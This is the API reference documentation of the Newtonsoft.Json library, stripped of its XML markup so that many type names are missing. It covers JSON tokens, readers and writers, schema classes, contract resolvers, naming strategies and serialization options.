Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A new instance of the . + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A object to configure cloning settings. + A new instance of the . + + + + Adds an object to the annotation list of this . + + The annotation to add. + + + + Get the first annotation object of the specified type from this . + + The type of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets the first annotation object of the specified type from this . + + The of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets a collection of annotations of the specified type for this . + + The type of the annotations to retrieve. + An that contains the annotations for this . + + + + Gets a collection of annotations of the specified type for this . + + The of the annotations to retrieve. + An of that contains the annotations that match the specified type for this . + + + + Removes the annotations of the specified type from this . + + The type of annotations to remove. + + + + Removes the annotations of the specified type from this . + + The of annotations to remove. + + + + Compares tokens to determine whether they are equal. + + + + + Determines whether the specified objects are equal. + + The first object of type to compare. + The second object of type to compare. + + true if the specified objects are equal; otherwise, false. + + + + + Returns a hash code for the specified object. + + The for which a hash code is to be returned. + A hash code for the specified object. + The type of is a reference type and is null. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Gets the at the reader's current position. + + + + + Initializes a new instance of the class. + + The token to read from. + + + + Initializes a new instance of the class. + + The token to read from. + The initial path of the token. It is prepended to the returned . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Gets the path of the current JSON token. + + + + + Specifies the type of token. + + + + + No token type has been set. + + + + + A JSON object. + + + + + A JSON array. + + + + + A JSON constructor. + + + + + A JSON object property. + + + + + A comment. + + + + + An integer value. + + + + + A float value. + + + + + A string value. + + + + + A boolean value. + + + + + A null value. + + + + + An undefined value. + + + + + A date value. + + + + + A raw JSON value. + + + + + A collection of bytes value. + + + + + A Guid value. + + + + + A Uri value. + + + + + A TimeSpan value. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Gets the at the writer's current position. + + + + + Gets the token being written. + + The token being written. + + + + Initializes a new instance of the class writing to the given . + + The container being written to. + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the underlying . + + + + + Closes this writer. + If is set to true, the JSON is auto-completed. + + + Setting to true has no additional effect, since the underlying is a type that cannot be closed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end. + + The token. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes a value. + An error will be raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Represents a value in JSON (string, integer, date, etc). + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Creates a comment with the given value. + + The value. + A comment with the given value. + + + + Creates a string with the given value. + + The value. + A string with the given value. + + + + Creates a null value. + + A null value. + + + + Creates a undefined value. + + A undefined value. + + + + Gets the node type for this . + + The type. + + + + Gets or sets the underlying token value. + + The underlying token value. + + + + Writes this token to a . + + A into which this method will write. + A collection of s which will be used when writing the token. + + + + Indicates whether the current object is equal to another object of the same type. + + + true if the current object is equal to the parameter; otherwise, false. + + An object to compare with this object. + + + + Determines whether the specified is equal to the current . + + The to compare with the current . + + true if the specified is equal to the current ; otherwise, false. + + + + + Serves as a hash function for a particular type. + + + A hash code for the current . + + + + + Returns a that represents this instance. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format provider. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + The format provider. + + A that represents this instance. + + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: + Value + Meaning + Less than zero + This instance is less than . + Zero + This instance is equal to . + Greater than zero + This instance is greater than . + + + is not of the same type as this instance. + + + + + Specifies how line information is handled when loading JSON. + + + + + Ignore line information. + + + + + Load line information. + + + + + Specifies how JSON arrays are merged together. + + + + Concatenate arrays. + + + Union arrays, skipping items that already exist. + + + Replace all array items. + + + Merge array items together, matched by index. + + + + Specifies how null value properties are merged. + + + + + The content's null value properties will be ignored during merging. + + + + + The content's null value properties will be merged. + + + + + Specifies the member serialization options for the . + + + + + All public members are serialized by default. Members can be excluded using or . + This is the default member serialization mode. + + + + + Only members marked with or are serialized. + This member serialization mode can also be set by marking the class with . + + + + + All public and private fields are serialized. Members can be excluded using or . + This member serialization mode can also be set by marking the class with + and setting IgnoreSerializableAttribute on to false. + + + + + Specifies metadata property handling options for the . + + + + + Read metadata properties located at the start of a JSON object. + + + + + Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. + + + + + Do not try to read metadata properties. + + + + + Specifies missing member handling options for the . + + + + + Ignore a missing member and do not attempt to deserialize it. + + + + + Throw a when a missing member is encountered during deserialization. + + + + + Specifies null value handling options for the . + + + + + + + + + Include null values when serializing and deserializing objects. + + + + + Ignore null values when serializing and deserializing objects. + + + + + Specifies how object creation is handled by the . + + + + + Reuse existing objects, create new objects when needed. + + + + + Only reuse existing objects. + + + + + Always create new objects. + + + + + Specifies reference handling options for the . + Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . + + + + + + + + Do not preserve references when serializing types. + + + + + Preserve references when serializing into a JSON object structure. + + + + + Preserve references when serializing into a JSON array structure. + + + + + Preserve references when serializing. + + + + + Specifies reference loop handling options for the . + + + + + Throw a when a loop is encountered. + + + + + Ignore loop references and do not serialize. + + + + + Serialize loop references. + + + + + Indicating whether a property is required. + + + + + The property is not required. The default state. + + + + + The property must be defined in JSON but can be a null value. + + + + + The property must be defined in JSON and cannot be a null value. + + + + + The property is not required but it cannot be a null value. + + + + + + Contains the JSON schema extension methods. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + true if the specified is valid; otherwise, false. + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + When this method returns, contains any error messages generated while validating. + + true if the specified is valid; otherwise, false. + + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + The validation event handler. + + + + + An in-memory representation of a JSON Schema. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the id. + + + + + Gets or sets the title. + + + + + Gets or sets whether the object is required. + + + + + Gets or sets whether the object is read-only. + + + + + Gets or sets whether the object is visible to users. + + + + + Gets or sets whether the object is transient. + + + + + Gets or sets the description of the object. + + + + + Gets or sets the types of values allowed by the object. + + The type. + + + + Gets or sets the pattern. + + The pattern. + + + + Gets or sets the minimum length. + + The minimum length. + + + + Gets or sets the maximum length. + + The maximum length. + + + + Gets or sets a number that the value should be divisible by. + + A number that the value should be divisible by. + + + + Gets or sets the minimum. + + The minimum. + + + + Gets or sets the maximum. + + The maximum. + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). + + A flag indicating whether the value can not equal the number defined by the minimum attribute (). + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). + + A flag indicating whether the value can not equal the number defined by the maximum attribute (). + + + + Gets or sets the minimum number of items. + + The minimum number of items. + + + + Gets or sets the maximum number of items. + + The maximum number of items. + + + + Gets or sets the of items. + + The of items. + + + + Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . + + + true if items are validated using their array position; otherwise, false. + + + + + Gets or sets the of additional items. + + The of additional items. + + + + Gets or sets a value indicating whether additional items are allowed. + + + true if additional items are allowed; otherwise, false. + + + + + Gets or sets whether the array items must be unique. + + + + + Gets or sets the of properties. + + The of properties. + + + + Gets or sets the of additional properties. + + The of additional properties. + + + + Gets or sets the pattern properties. + + The pattern properties. + + + + Gets or sets a value indicating whether additional properties are allowed. + + + true if additional properties are allowed; otherwise, false. + + + + + Gets or sets the required property if this property is present. + + The required property if this property is present. + + + + Gets or sets the a collection of valid enum values allowed. + + A collection of valid enum values allowed. + + + + Gets or sets disallowed types. + + The disallowed types. + + + + Gets or sets the default value. + + The default value. + + + + Gets or sets the collection of that this schema extends. + + The collection of that this schema extends. + + + + Gets or sets the format. + + The format. + + + + Initializes a new instance of the class. + + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The object representing the JSON Schema. + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The to use when resolving schema references. + The object representing the JSON Schema. + + + + Load a from a string that contains JSON Schema. + + A that contains JSON Schema. + A populated from the string that contains JSON Schema. + + + + Load a from a string that contains JSON Schema using the specified . + + A that contains JSON Schema. + The resolver. + A populated from the string that contains JSON Schema. + + + + Writes this schema to a . + + A into which this method will write. + + + + Writes this schema to a using the specified . + + A into which this method will write. + The resolver used. + + + + Returns a that represents the current . + + + A that represents the current . + + + + + + Returns detailed information about the schema exception. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + + Generates a from a specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets how undefined schemas are handled by the serializer. + + + + + Gets or sets the contract resolver. + + The contract resolver. + + + + Generate a from the specified type. + + The type to generate a from. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + + Resolves from an id. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the loaded schemas. + + The loaded schemas. + + + + Initializes a new instance of the class. + + + + + Gets a for the specified reference. + + The id. + A for the specified reference. + + + + + The value types allowed by the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + No type specified. + + + + + String type. + + + + + Float type. + + + + + Integer type. + + + + + Boolean type. + + + + + Object type. + + + + + Array type. + + + + + Null type. + + + + + Any type. + + + + + + Specifies undefined schema Id handling options for the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Do not infer a schema Id. + + + + + Use the .NET type name as the schema Id. + + + + + Use the assembly qualified .NET type name as the schema Id. + + + + + + Returns detailed information related to the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the associated with the validation error. + + The JsonSchemaException associated with the validation error. + + + + Gets the path of the JSON location where the validation error occurred. + + The path of the JSON location where the validation error occurred. + + + + Gets the text description corresponding to the validation error. + + The text description. + + + + + Represents the callback method that will handle JSON schema validation events and the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Allows users to control class loading and mandate what class to load. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object + The type of the object the formatter creates a new instance of. + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + A camel case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Resolves member mappings for a type, camel casing property names. + + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used by to resolve a for a given . + + + + + Gets a value indicating whether members are being get and set using dynamic code generation. + This value is determined by the runtime permissions available. + + + true if using dynamic code generation; otherwise, false. + + + + + Gets or sets a value indicating whether compiler generated members should be serialized. + + + true if serialized compiler generated members; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. + + + true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. + + + true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. + + The naming strategy used to resolve how property names and dictionary keys are serialized. + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Gets the serializable members for the type. + + The type to get serializable members for. + The serializable members for the type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates the constructor parameters. + + The constructor to create properties for. + The type's member properties. + Properties for the given . + + + + Creates a for the given . + + The matching member property. + The constructor parameter. + A created for the given . + + + + Resolves the default for the contract. + + Type of the object. + The contract's default . + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Determines which contract type is created for the given type. + + Type of the object. + A for the given type. + + + + Creates properties for the given . + + The type to create properties for. + /// The member serialization mode for the type. + Properties for the given . + + + + Creates the used by the serializer to get and set values from a member. + + The member. + The used by the serializer to get and set values from a member. + + + + Creates a for the given . + + The member's parent . + The member to create a for. + A created for the given . + + + + Resolves the name of the property. + + Name of the property. + Resolved name of the property. + + + + Resolves the name of the extension data. By default no changes are made to extension data names. + + Name of the extension data. + Resolved name of the extension data. + + + + Resolves the key of the dictionary. By default is used to resolve dictionary keys. + + Key of the dictionary. + Resolved key of the dictionary. + + + + Gets the resolved name of the property. + + Name of the property. + Name of the property. + + + + The default naming strategy. Property names and dictionary keys are unchanged. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + The default serialization binder used when resolving and loading classes from type names. + + + + + Initializes a new instance of the class. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + The type of the object the formatter creates a new instance of. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Provides information surrounding an error. + + + + + Gets the error. + + The error. + + + + Gets the original object that caused the error. + + The original object that caused the error. + + + + Gets the member that caused the error. + + The member that caused the error. + + + + Gets the path of the JSON location where the error occurred. + + The path of the JSON location where the error occurred. + + + + Gets or sets a value indicating whether this is handled. + + true if handled; otherwise, false. + + + + Provides data for the Error event. + + + + + Gets the current object the error event is being raised against. + + The current object the error event is being raised against. + + + + Gets the error context. + + The error context. + + + + Initializes a new instance of the class. + + The current object. + The error context. + + + + Get and set values for a using dynamic methods. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Provides methods to get attributes. + + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Used by to resolve a for a given . + + + + + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used to resolve references when serializing and deserializing JSON by the . + + + + + Resolves a reference to its object. + + The serialization context. + The reference to resolve. + The object that was resolved from the reference. + + + + Gets the reference for the specified object. + + The serialization context. + The object to get a reference for. + The reference to the object. + + + + Determines whether the specified object is referenced. + + The serialization context. + The object to test for a reference. + + true if the specified object is referenced; otherwise, false. + + + + + Adds a reference to the specified object. + + The serialization context. + The reference. + The object to reference. + + + + Allows users to control class loading and mandate what class to load. + + + + + When implemented, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object + The type of the object the formatter creates a new instance of. + + + + When implemented, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + The that will be used to filter the trace messages passed to the writer. + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Provides methods to get and set values. + + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Contract details for a used by the . + + + + + Gets the of the collection items. + + The of the collection items. + + + + Gets a value indicating whether the collection type is a multidimensional array. + + true if the collection type is a multidimensional array; otherwise, false. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the collection values. + + true if the creator has a parameter with the collection values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the default collection items . + + The converter. + + + + Gets or sets a value indicating whether the collection items preserve object references. + + true if collection items preserve object references; otherwise, false. + + + + Gets or sets the collection item reference loop handling. + + The reference loop handling. + + + + Gets or sets the collection item type name handling. + + The type name handling. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Handles serialization callback events. + + The object that raised the callback event. + The streaming context. + + + + Handles serialization error callback events. + + The object that raised the callback event. + The streaming context. + The error context. + + + + Sets extension data for an object during deserialization. + + The object to set extension data on. + The extension data key. + The extension data value. + + + + Gets extension data for an object during serialization. + + The object to set extension data on. + + + + Contract details for a used by the . + + + + + Gets the underlying type for the contract. + + The underlying type for the contract. + + + + Gets or sets the type created during deserialization. + + The type created during deserialization. + + + + Gets or sets whether this type contract is serialized as a reference. + + Whether this type contract is serialized as a reference. + + + + Gets or sets the default for this contract. + + The converter. + + + + Gets the internally resolved for the contract's type. + This converter is used as a fallback converter when no other converter is resolved. + Setting will always override this converter. + + + + + Gets or sets all methods called immediately after deserialization of the object. + + The methods called immediately after deserialization of the object. + + + + Gets or sets all methods called during deserialization of the object. + + The methods called during deserialization of the object. + + + + Gets or sets all methods called after serialization of the object graph. + + The methods called after serialization of the object graph. + + + + Gets or sets all methods called before serialization of the object. + + The methods called before serialization of the object. + + + + Gets or sets all method called when an error is thrown during the serialization of the object. + + The methods called when an error is thrown during the serialization of the object. + + + + Gets or sets the default creator method used to create the object. + + The default creator method used to create the object. + + + + Gets or sets a value indicating whether the default creator is non-public. + + true if the default object creator is non-public; otherwise, false. + + + + Contract details for a used by the . + + + + + Gets or sets the dictionary key resolver. + + The dictionary key resolver. + + + + Gets the of the dictionary keys. + + The of the dictionary keys. + + + + Gets the of the dictionary values. + + The of the dictionary values. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the dictionary values. + + true if the creator has a parameter with the dictionary values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets the object's properties. + + The object's properties. + + + + Gets or sets the property name resolver. + + The property name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object member serialization. + + The member object serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets the object's properties. + + The object's properties. + + + + Gets a collection of instances that define the parameters used with . + + + + + Gets or sets the function used to create the object. When set this function will override . + This function is called with a collection of arguments which are defined by the collection. + + The function used to create the object. + + + + Gets or sets the extension data setter. + + + + + Gets or sets the extension data getter. + + + + + Gets or sets the extension data value type. + + + + + Gets or sets the extension data name resolver. + + The extension data name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Maps a JSON property to a .NET member or constructor parameter. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the type that declared this property. + + The type that declared this property. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets the name of the underlying member or parameter. + + The name of the underlying member or parameter. + + + + Gets the that will get and set the during serialization. + + The that will get and set the during serialization. + + + + Gets or sets the for this property. + + The for this property. + + + + Gets or sets the type of the property. + + The type of the property. + + + + Gets or sets the for the property. + If set this converter takes precedence over the contract converter for the property type. + + The converter. + + + + Gets or sets the member converter. + + The member converter. + + + + Gets or sets a value indicating whether this is ignored. + + true if ignored; otherwise, false. + + + + Gets or sets a value indicating whether this is readable. + + true if readable; otherwise, false. + + + + Gets or sets a value indicating whether this is writable. + + true if writable; otherwise, false. + + + + Gets or sets a value indicating whether this has a member attribute. + + true if has a member attribute; otherwise, false. + + + + Gets the default value. + + The default value. + + + + Gets or sets a value indicating whether this is required. + + A value indicating whether this is required. + + + + Gets a value indicating whether has a value specified. + + + + + Gets or sets a value indicating whether this property preserves object references. + + + true if this instance is reference; otherwise, false. + + + + + Gets or sets the property null value handling. + + The null value handling. + + + + Gets or sets the property default value handling. + + The default value handling. + + + + Gets or sets the property reference loop handling. + + The reference loop handling. + + + + Gets or sets the property object creation handling. + + The object creation handling. + + + + Gets or sets or sets the type name handling. + + The type name handling. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets a predicate used to determine whether the property should be deserialized. + + A predicate used to determine whether the property should be deserialized. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets an action used to set whether the property has been deserialized. + + An action used to set whether the property has been deserialized. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Gets or sets the converter used when serializing the property's collection items. + + The collection's items converter. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + A collection of objects. + + + + + Initializes a new instance of the class. + + The type. + + + + When implemented in a derived class, extracts the key from the specified element. + + The element from which to extract the key. + The key for the specified element. + + + + Adds a object. + + The property to add to the collection. + + + + Gets the closest matching object. + First attempts to get an exact case match of and then + a case insensitive match. + + Name of the property. + A matching property if found. + + + + Gets a property by property name. + + The name of the property to get. + Type property name string comparison. + A matching property if found. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Lookup and create an instance of the type described by the argument. + + The type to create. + Optional arguments to pass to an initializing constructor of the JsonConverter. + If null, the default constructor is used. + + + + A kebab case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Represents a trace writer that writes to memory. When the trace message limit is + reached then old trace messages will be removed as new messages are added. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Initializes a new instance of the class. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Returns an enumeration of the most recent trace messages. + + An enumeration of the most recent trace messages. + + + + Returns a of the most recent trace messages. + + + A of the most recent trace messages. + + + + + A base class for resolving how property names and dictionary keys are serialized. + + + + + A flag indicating whether dictionary keys should be processed. + Defaults to false. + + + + + A flag indicating whether extension data names should be processed. + Defaults to false. + + + + + A flag indicating whether explicitly specified property names, + e.g. a property name customized with a , should be processed. + Defaults to false. + + + + + Gets the serialized name for a given property name. + + The initial property name. + A flag indicating whether the property has had a name explicitly specified. + The serialized property name. + + + + Gets the serialized name for a given extension data name. + + The initial extension data name. + The serialized extension data name. + + + + Gets the serialized key for a given dictionary key. + + The initial dictionary key. + The serialized dictionary key. + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Hash code calculation + + + + + + Object equality implementation + + + + + + + Compare to another NamingStrategy + + + + + + + Represents a method that constructs an object. + + The object type to create. + + + + When applied to a method, specifies that the method is called when an error occurs serializing an object. + + + + + Provides methods to get attributes from a , , or . + + + + + Initializes a new instance of the class. + + The instance to get attributes for. This parameter should be a , , or . + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Get and set values for a using reflection. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + A snake case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Specifies how strings are escaped when writing JSON text. + + + + + Only control characters (e.g. newline) are escaped. + + + + + All non-ASCII and control characters (e.g. newline) are escaped. + + + + + HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. + + + + + Specifies what messages to output for the class. + + + + + Output no tracing and debugging messages. + + + + + Output error-handling messages. + + + + + Output warnings and error-handling messages. + + + + + Output informational messages, warnings, and error-handling messages. + + + + + Output all debugging and tracing messages. + + + + + Indicates the method that will be used during deserialization for locating and loading assemblies. + + + + + In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. + + + + + In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. + + + + + Specifies type name handling options for the . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom 